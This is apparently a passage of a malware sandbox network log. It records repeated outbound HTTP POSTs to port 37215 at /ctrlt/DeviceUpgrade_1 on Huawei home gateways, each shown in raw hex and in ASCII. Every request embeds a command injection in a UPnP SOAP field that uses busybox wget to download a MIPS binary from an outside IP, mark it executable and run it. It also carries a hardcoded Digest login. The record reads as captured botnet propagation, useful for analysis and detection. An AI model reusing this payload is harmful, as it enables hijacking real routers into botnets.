61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:40.124715090 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:54.028628111 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:21.868787050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.20	32944	156.247.25.26	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:26.799468994 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:28.312686920 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:30.132606983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:33.772640944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:41.052628994 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:55.628719091 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 